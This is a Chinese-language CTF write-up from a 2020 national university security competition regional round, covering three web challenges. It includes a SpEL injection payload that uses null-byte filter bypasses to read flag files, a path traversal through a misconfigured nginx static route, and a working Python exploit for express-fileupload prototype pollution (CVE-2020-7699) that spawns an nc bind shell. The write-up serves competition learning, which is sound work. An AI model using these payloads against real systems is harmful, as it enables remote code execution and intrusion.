全国大学生信息安全竞赛—创新实践能力赛 华东北赛区部分wp
整理下前两天国赛分区赛的wp,我们队只做出了三道web
虽然还没出最终结果,但应该是没进决赛了
还是缺个pwn手啊。。。。
web3
看到题目,有三个需要绕过得点,应该不难
然后 发现url是cat.php
下意识得访问了下flag.php
????就这???
web4
在输入框中输入表达式可以得到表达式结果。
尝试fuzz,发现框架关键字springframework、Spel
初步判断为SPEL注入,经过测试后发现Runtime,new,T(、getclass,get( 等都被禁止了。而files,Files,readAllLines没有被禁止。
构造payload尝试读取flag
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get(\’/flag\’))
然而由于new,T(、getclass,get( 等都被禁止,无法执行。
尝试使用00%截断bypass,绕过T( get( 的判断。修改payload
T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00(\’/flag\’))
报错,尝试把flag改成flag.txt flag.txt1 fl4g
T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00(\’/flag.txt\’))
成功读到flag.txt
web7
发开页面后发现为一个bootstrap的示例页面
扫描端口发现有3000端口开放
结合wappalyzer分析后端为node.js加nginx反向代理
发现404页面为这样的,推测有看目录穿越漏洞
尝试多次后未果
转变思路,发现由于配置不当,访问/static../后可以穿越目录看到后端源码
app.js内容如下
访问/4_pATh_y0u_CaNN07_Gu3ss后发现
再转变思路,研究app.use(fileUpload({ parseNested: true }));
发现此处可能会有CVE-2020-7699漏洞,发现下面的博客
https://blog.p6.is/Real-World-JS-1/
学习一番后觉得可以用此洞来getshell
先试了反向shell,发现出不了外网,也连不了自己得主机,遂弃
后利用nc正向shell,得flag
exp如下:
#Coder: r3t7rn
#Date: 2020.9.12 ciscn2020
import requests
cmd = "nc -l -p 5555 -e /bin/sh"
# pollute
r1=requests.post(\'http://172.20.id.107/4_pATh_y0u_CaNN07_Gu3ss\', files = {\'__proto__.outputFunctionName\': (
None, f"x;process.mainModule.require(\'child_process\').exec(\'{cmd}\');x")})
print(r1.text)
# execute command
r2=requests.get(\'http://172.20.id.107\')
print(r2.text)